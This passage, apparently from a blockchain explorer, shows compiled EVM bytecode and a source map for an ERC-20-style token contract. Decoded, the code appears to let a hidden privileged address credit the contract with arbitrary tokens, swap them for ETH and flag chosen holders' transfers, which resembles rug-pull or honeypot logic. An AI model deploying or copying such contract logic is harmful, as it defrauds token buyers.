9190611b89565b905082848261129a9190611bf7565b146112da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d190611c97565b60405180910390fd5b809150505b92915050565b5f808211611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f90611cff565b60405180910390fd5b5f82846113359190611bf7565b90508091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561137857808201518184015260208101905061135d565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61139d82611341565b6113a7818561134b565b93506113b781856020860161135b565b6113c081611383565b840191505092915050565b5f6020820190508181035f8301526113e38184611393565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61141c826113f3565b9050919050565b61142c81611412565b8114611436575f80fd5b50565b5f8135905061144781611423565b92915050565b5f819050919050565b61145f8161144d565b8114611469575f80fd5b50565b5f8135905061147a81611456565b92915050565b5f8060408385031215611496576114956113eb565b5b5f6114a385828601611439565b92505060206114b48582860161146c565b9150509250929050565b5f8115159050919050565b6114d2816114be565b82525050565b5f6020820190506114eb5f8301846114c9565b92915050565b6114fa8161144d565b82525050565b5f6020820190506115135f8301846114f1565b92915050565b5f805f606084860312156115305761152f6113eb565b5b5f61153d86828701611439565b935050602061154e86828701611439565b925050604061155f8682870161146c565b9150509250925092565b61157281611412565b82525050565b5f60208201905061158b5f830184611569565b92915050565b5f602082840312156115a6576115a56113eb565b5b5f6115b384828501611439565b91505092915050565b5f80604083850312156115d2576115d16113eb565b5b5f6115df8582860161146c565b92505060206115f085828601611439565b9150509250929050565b5f80604083850312156116105761160f6113eb565b5b5f61161d85828601611439565b925050602061162e85828601611439565b9150509250929050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261165957611658611638565b5b8235905067ffffffffffffffff8111156116765761167561163c565b5b60208301915083602082028301111561169257611691611640565b5b9250929050565b5f80602083850312156116af576116ae6113eb565b5b5f83013567ffffffffffffffff8111156116cc576116cb6113ef565b5b6116d885828601611644565b92509250509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061172857607f821691505b60208210810361173b5761173a6116e4565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6117788261144d565b91506117838361144d565b925082820190508082111561179b5761179a611741565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6117d560208361134b565b91506117e0826117a1565b602082019050919050565b5f6020820190508181035f830152611802816117c9565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f8151905061187181611423565b92915050565b5f6020828403121561188c5761188b6113eb565b5b5f61189984828501611863565b91505092915050565b5f819050919050565b5f819050919050565b5f6118ce6118c96118c4846118a2565b6118ab565b61144d565b9050919050565b6118de816118b4565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61191681611412565b82525050565b5f611927838361190d565b60208301905092915050565b5f602082019050919050565b5f611949826118e4565b61195381856118ee565b935061195e836118fe565b805f5b8381101561198e578151611975888261191c565b975061198083611933565b925050600181019050611961565b5085935050505092915050565b5f60a0820190506119ae5f8301886114f1565b6119bb60208301876118d5565b81810360408301526119cd818661193f565b90506119dc6060830185611569565b6119e960808301846114f1565b9695505050505050565b5f6119fd8261144d565b9150611a088361144d565b9250828203905081811115611a2057611a1f611741565b5b92915050565b5f611a308261144d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611a6257611a61611741565b5b600182019050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611ac760258361134b565b9150611ad282611a6d565b604082019050919050565b5f6020820190508181035f830152611af481611abb565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611b5560238361134b565b9150611b6082611afb565b604082019050919050565b5f6020820190508181035f830152611b8281611b49565b9050919050565b5f611b938261144d565b9150611b9e8361144d565b9250828202611bac8161144d565b91508282048414831517611bc357611bc2611741565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611c018261144d565b9150611c0c8361144d565b925082611c1c57611c1b611bca565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c5f8201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b5f611c8160228361134b565b9150611c8c82611c27565b604082019050919050565b5f6020820190508181035f830152611cae81611c75565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f00000000005f82015250565b5f611ce9601b8361134b565b9150611cf482611cb5565b602082019050919050565b5f6020820190508181035f830152611d1681611cdd565b905091905056fea2646970667358221220ad768f06848019fddca6388ff2bc70962fe65cd61329929db76a835b9d061e4a64736f6c63430008150033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610140575f3560e01c8063715018a6116100b657806395d89b411161007a57806395d89b411461031a578063a457c2d714610338578063a9059cbb14610368578063c14f3f3514610398578063dd62ed3e146103a2578063df0748d4146103d257610140565b8063715018a6146102c25780637394507e146102cc578063751039fc146102e85780638a8c523c146102f25780638da5cb5b146102fc57610140565b806332424aa31161010857806332424aa3146101fe57806337e376fb1461021c57806339509351146102265780633eaaf86b146102565780636f268a991461027457806370a082311461029257610140565b806306fdde0314610144578063095ea7b31461016257806318160ddd1461019257806323b872dd146101b0578063313ce567146101e0575b5f80fd5b61014c6103ee565b60405161015991906113cb565b60405180910390f35b61017c60048036038101906101779190611480565b61047e565b60405161018991906114d8565b60405180910390f35b61019a610494565b6040516101a79190611500565b60405180910390f35b6101ca60048036038101906101c59190611519565b61049d565b6040516101d791906114d8565b60405180910390f35b6101e861053f565b6040516101f59190611500565b60405180910390f35b610206610548565b6040516102139190611500565b60405180910390f35b61022461054e565b005b610240600480360381019061023b9190611480565b610550565b60405161024d91906114d8565b60405180910390f35b61025e6105f0565b60405161026b9190611500565b60405180910390f35b61027c6105f6565b6040516102899190611578565b60405180910390f35b6102ac60048036038101906102a79190611591565b61061b565b6040516102b99190611500565b60405180910390f35b6102ca610661565b005b6102e660048036038101906102e191906115bc565b610790565b005b6102f0610a2d565b005b6102fa610a2f565b005b610304610a31565b6040516103119190611578565b60405180910390f35b610322610a58565b60405161032f91906113cb565b60405180910390f35b610352600480360381019061034d9190611480565b610ae8565b60405161035f91906114d8565b60405180910390f35b610382600480360381019061037d9190611480565b610c0c565b60405161038f91906114d8565b60405180910390f35b6103a0610c29565b005b6103bc60048036038101906103b791906115fa565b610c2b565b6040516103c99190611500565b60405180910390f35b6103ec60048036038101906103e79190611699565b610cad565b005b6060600380546103fd90611711565b80601f016020809104026020016040519081016040528092919081815260200182805461042990611711565b80156104745780601f1061044b57610100808354040283529160200191610474565b820191905f5260205f20905b81548152906001019060200180831161045757829003601f168201915b5050505050905090565b5f61048a338484610d61565b6001905092915050565b5f600254905090565b5f6104a9848484610f24565b8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104f0611203565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610534575f80fd5b600190509392505050565b5f600154905090565b60015481565b565b5f6105e661055c611203565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546105e1919061176e565b610d61565b6001905092915050565b60025481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610680610a31565b73ffffffffffffffffffffffffffffffffffffffff16146106d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cd906117eb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61079861120a565b15610a23576107c93060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d61565b8160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600267ffffffffffffffff81111561082757610826611809565b5b6040519080825280602002602001820160405280156108555781602001602082028036833780820191505090505b50905030815f8151811061086c5761086b611836565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610910573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109349190611877565b8160018151811061094857610947611836565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f84866020426109d0919061176e565b6040518663ffffffff1660e01b81526004016109f095949392919061199b565b5f604051808303815f87803b158015610a07575f80fd5b505af1158015610a19573d5f803e3d5ffd5b5050505050610a28565b610a29565b5b5050565b565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610a6790611711565b80601f0160208091040260200160405190810160405280929190818152602001828054610a9390611711565b8015610ade5780601f10610ab557610100808354040283529160200191610ade565b820191905f5260205f20905b815481529060010190602001808311610ac157829003601f168201915b5050505050905090565b5f8160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610b6d575f80fd5b610c02610b78611203565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610bfd91906119f3565b610d61565b6001905092915050565b5f610c1f610c18611203565b8484610f24565b6001905092915050565b565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f610cb6611267565b90505f5b83839050811015610d5b57610ccd61120a565b15610d4857600182610cdf919061176e565b60085f868685818110610cf557610cf4611836565b5b9050602002016020810190610d0a9190611591565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8080610d5390611a26565b915050610cba565b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc690611add565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3490611b6b565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f179190611500565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610f5c575f80fd5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054821115610fa5575f80fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110029190611500565b60405180910390a38160095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461105391906119f3565b60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f61109d611267565b60085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111590505f6111096103e86110fb6103e78761126e90919063ffffffff16565b6112e590919063ffffffff16565b90505f60085f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054141580156111555750815b1561115e578092505b5f60095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905083856111ab91906119f3565b816111b6919061176e565b90508060095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050505050565b5f33905090565b5f611213611203565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b5f43905090565b5f80830361127e575f90506112df565b5f828461128b9190611b89565b905082848261129a9190611bf7565b146112da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d190611c97565b60405180910390fd5b809150505b92915050565b5f808211611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f90611cff565b60405180910390fd5b5f82846113359190611bf7565b90508091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561137857808201518184015260208101905061135d565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61139d82611341565b6113a7818561134b565b93506113b781856020860161135b565b6113c081611383565b840191505092915050565b5f6020820190508181035f8301526113e38184611393565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61141c826113f3565b9050919050565b61142c81611412565b8114611436575f80fd5b50565b5f8135905061144781611423565b92915050565b5f819050919050565b61145f8161144d565b8114611469575f80fd5b50565b5f8135905061147a81611456565b92915050565b5f8060408385031215611496576114956113eb565b5b5f6114a385828601611439565b92505060206114b48582860161146c565b9150509250929050565b5f8115159050919050565b6114d2816114be565b82525050565b5f6020820190506114eb5f8301846114c9565b92915050565b6114fa8161144d565b82525050565b5f6020820190506115135f8301846114f1565b92915050565b5f805f606084860312156115305761152f6113eb565b5b5f61153d86828701611439565b935050602061154e86828701611439565b925050604061155f8682870161146c565b9150509250925092565b61157281611412565b82525050565b5f60208201905061158b5f830184611569565b92915050565b5f602082840312156115a6576115a56113eb565b5b5f6115b384828501611439565b91505092915050565b5f80604083850312156115d2576115d16113eb565b5b5f6115df8582860161146c565b92505060206115f085828601611439565b9150509250929050565b5f80604083850312156116105761160f6113eb565b5b5f61161d85828601611439565b925050602061162e85828601611439565b9150509250929050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261165957611658611638565b5b8235905067ffffffffffffffff8111156116765761167561163c565b5b60208301915083602082028301111561169257611691611640565b5b9250929050565b5f80602083850312156116af576116ae6113eb565b5b5f83013567ffffffffffffffff8111156116cc576116cb6113ef565b5b6116d885828601611644565b92509250509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061172857607f821691505b60208210810361173b5761173a6116e4565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6117788261144d565b91506117838361144d565b925082820190508082111561179b5761179a611741565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6117d560208361134b565b91506117e0826117a1565b602082019050919050565b5f6020820190508181035f830152611802816117c9565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f8151905061187181611423565b92915050565b5f6020828403121561188c5761188b6113eb565b5b5f61189984828501611863565b91505092915050565b5f819050919050565b5f819050919050565b5f6118ce6118c96118c4846118a2565b6118ab565b61144d565b9050919050565b6118de816118b4565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61191681611412565b82525050565b5f611927838361190d565b60208301905092915050565b5f602082019050919050565b5f611949826118e4565b61195381856118ee565b935061195e836118fe565b805f5b8381101561198e578151611975888261191c565b975061198083611933565b925050600181019050611961565b5085935050505092915050565b5f60a0820190506119ae5f8301886114f1565b6119bb60208301876118d5565b81810360408301526119cd818661193f565b90506119dc6060830185611569565b6119e960808301846114f1565b9695505050505050565b5f6119fd8261144d565b9150611a088361144d565b9250828203905081811115611a2057611a1f611741565b5b92915050565b5f611a308261144d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611a6257611a61611741565b5b600182019050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611ac760258361134b565b9150611ad282611a6d565b604082019050919050565b5f6020820190508181035f830152611af481611abb565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611b5560238361134b565b9150611b6082611afb565b604082019050919050565b5f6020820190508181035f830152611b8281611b49565b9050919050565b5f611b938261144d565b9150611b9e8361144d565b9250828202611bac8161144d565b91508282048414831517611bc357611bc2611741565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611c018261144d565b9150611c0c8361144d565b925082611c1c57611c1b611bca565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c5f8201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b5f611c8160228361134b565b9150611c8c82611c27565b604082019050919050565b5f6020820190508181035f830152611cae81611c75565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f00000000005f82015250565b5f611ce9601b8361134b565b9150611cf482611cb5565b602082019050919050565b5f6020820190508181035f830152611d1681611cdd565b905091905056fea2646970667358221220ad768f06848019fddca6388ff2bc70962fe65cd61329929db76a835b9d061e4a64736f6c63430008150033

Deployed Bytecode Sourcemap

12975:4982:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13898:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17796:158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15970:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14654:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15672:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13041:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14150:42;;;:::i;:::-;;17377:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13078:58;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13510:25;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13989:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12076:148;;;:::i;:::-;;16069:571;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14244:39;;;:::i;:::-;;14198:40;;;:::i;:::-;;12230:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14888:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15297:243;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17584:154;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14105:39;;;:::i;:::-;;15157:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14289:359;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13898:85;13937:13;13970:5;13963:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13898:85;:::o;17796:158::-;17870:4;17887:37;17896:10;17908:7;17917:6;17887:8;:37::i;:::-;17942:4;17935:11;;17796:158;;;;:::o;15970:93::-;16016:7;16043:12;;16036:19;;15970:93;:::o;14654:228::-;14742:4;14759:35;14769:4;14775:9;14786:7;14759:9;:35::i;:::-;14844:7;14813:11;:17;14825:4;14813:17;;;;;;;;;;;;;;;:27;14831:8;:6;:8::i;:::-;14813:27;;;;;;;;;;;;;;;;:38;;14805:47;;;;;;14870:4;14863:11;;14654:228;;;;;:::o;15672:87::-;15715:7;15742:9;;15735:16;;15672:87;:::o;13041:28::-;;;;:::o;14150:42::-;:::o;17377:201::-;17457:4;17474:74;17483:8;:6;:8::i;:::-;17493:7;17537:10;17502:11;:23;17514:10;17502:23;;;;;;;;;;;;;;;:32;17526:7;17502:32;;;;;;;;;;;;;;;;:45;;;;:::i;:::-;17474:8;:74::i;:::-;17566:4;17559:11;;17377:201;;;;:::o;13078:58::-;;;;:::o;13510:25::-;;;;;;;;;;;;;:::o;13989:110::-;14046:7;14073:9;:18;14083:7;14073:18;;;;;;;;;;;;;;;;14066:25;;13989:110;;;:::o;12076:148::-;12472:10;12461:21;;:7;:5;:7::i;:::-;:21;;;12453:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;12183:1:::1;12146:40;;12167:6;::::0;::::1;;;;;;;;12146:40;;;;;;;;;;;;12214:1;12197:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;12076:148::o:0;16069:571::-;16152:17;:15;:17::i;:::-;16148:485;;;16186:53;16203:4;16218:11;;;;;;;;;;;16232:6;16186:8;:53::i;:::-;16282:6;16255:9;:24;16273:4;16255:24;;;;;;;;;;;;;;;:33;;;;16303:28;16348:1;16334:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16303:47;;16390:4;16365:11;16377:1;16365:14;;;;;;;;:::i;:::-;;;;;;;:30;;;;;;;;;;;16428:11;;;;;;;;;;;:16;;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16411:11;16423:1;16411:14;;;;;;;;:::i;:::-;;;;;;;:35;;;;;;;;;;;16462:11;;;;;;;;;;;:62;;;16525:6;16533:1;16536:11;16549:10;16579:2;16561:15;:20;;;;:::i;:::-;16462:120;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16171:423;16148:485;;;16615:7;;16148:485;16069:571;;;:::o;14244:39::-;:::o;14198:40::-;:::o;12230:71::-;12276:7;12293:6;;;;;;;;;;;12286:13;;12230:71;:::o;14888:87::-;14927:13;14960:7;14953:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14888:87;:::o;15297:243::-;15370:4;15428:6;15395:11;:23;15407:10;15395:23;;;;;;;;;;;;;;;:29;15419:4;15395:29;;;;;;;;;;;;;;;;:39;;15387:48;;;;;;15446:64;15455:8;:6;:8::i;:::-;15465:4;15503:6;15471:11;:23;15483:10;15471:23;;;;;;;;;;;;;;;:29;15495:4;15471:29;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;15446:8;:64::i;:::-;15528:4;15521:11;;15297:243;;;;:::o;17584:154::-;17653:4;17670:38;17680:8;:6;:8::i;:::-;17690:9;17701:6;17670:9;:38::i;:::-;17726:4;17719:11;;17584:154;;;;:::o;14105:39::-;:::o;15157:134::-;15229:7;15256:11;:18;15268:5;15256:18;;;;;;;;;;;;;;;:27;15275:7;15256:27;;;;;;;;;;;;;;;;15249:34;;15157:134;;;;:::o;14289:359::-;14367:19;14389:16;:14;:16::i;:::-;14367:38;;14421:15;14416:225;14456:13;;:20;;14443:10;:33;14416:225;;;14514:17;:15;:17::i;:::-;14509:121;;;14613:1;14599:11;:15;;;;:::i;:::-;14560:9;:36;14570:13;;14584:10;14570:25;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;14560:36;;;;;;;;;;;;;;;:54;;;;14509:121;14479:12;;;;;:::i;:::-;;;;14416:225;;;;14356:292;14289:359;;:::o;13544:346::-;13663:1;13646:19;;:5;:19;;;13638:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;13745:1;13726:21;;:7;:21;;;13718:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;13828:6;13798:11;:18;13810:5;13798:18;;;;;;;;;;;;;;;:27;13817:7;13798:27;;;;;;;;;;;;;;;:36;;;;13866:7;13850:32;;13859:5;13850:32;;;13875:6;13850:32;;;;;;:::i;:::-;;;;;;;;13544:346;;;:::o;16646:655::-;16726:17;16782:1;16766:18;;:4;:18;;;16758:27;;;;;;16813:9;:15;16823:4;16813:15;;;;;;;;;;;;;;;;16804:5;:24;;16796:33;;;;;;16860:2;16845:25;;16854:4;16845:25;;;16864:5;16845:25;;;;;;:::i;:::-;;;;;;;;16918:5;16899:9;:15;16909:4;16899:15;;;;;;;;;;;;;;;;:25;;;;:::i;:::-;16881:9;:15;16891:4;16881:15;;;;;;;;;;;;;;;:43;;;;16935:15;16974:16;:14;:16::i;:::-;16954:9;:15;16964:4;16954:15;;;;;;;;;;;;;;;;:37;;16935:57;;17003:25;17031:24;17050:4;17031:14;17041:3;17031:5;:9;;:14;;;;:::i;:::-;:18;;:24;;;;:::i;:::-;17003:52;;17090:1;17071:9;:15;17081:4;17071:15;;;;;;;;;;;;;;;;:20;;17070:36;;;;;17096:10;17070:36;17066:103;;;17138:17;17125:31;;17066:103;17179:17;17199:9;:13;17209:2;17199:13;;;;;;;;;;;;;;;;17179:33;;17247:9;17237:5;17236:21;;;;:::i;:::-;17223:34;;;;;:::i;:::-;;;17284:9;17268;:13;17278:2;17268:13;;;;;;;;;;;;;;;:25;;;;16715:586;;;;16646:655;;;:::o;15878:86::-;15919:7;15946:10;15939:17;;15878:86;:::o;15765:107::-;15814:4;15854:8;:6;:8::i;:::-;15839:24;;:10;;;;;;;;;;;:24;;;15831:33;;15765:107;:::o;14981:96::-;15030:7;15057:12;15050:19;;14981:96;:::o;11694:223::-;11752:7;11781:1;11776;:6;11772:23;;11792:1;11785:8;;;;11772:23;11805:9;11821:1;11817;:5;;;;:::i;:::-;11805:17;;11850:1;11845;11841;:5;;;;:::i;:::-;:10;11833:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;11908:1;11901:8;;;11694:223;;;;;:::o;11508:178::-;11566:7;11598:1;11594;:5;11586:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;11642:9;11658:1;11654;:5;;;;:::i;:::-;11642:17;;11677:1;11670:8;;;11508:178;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494: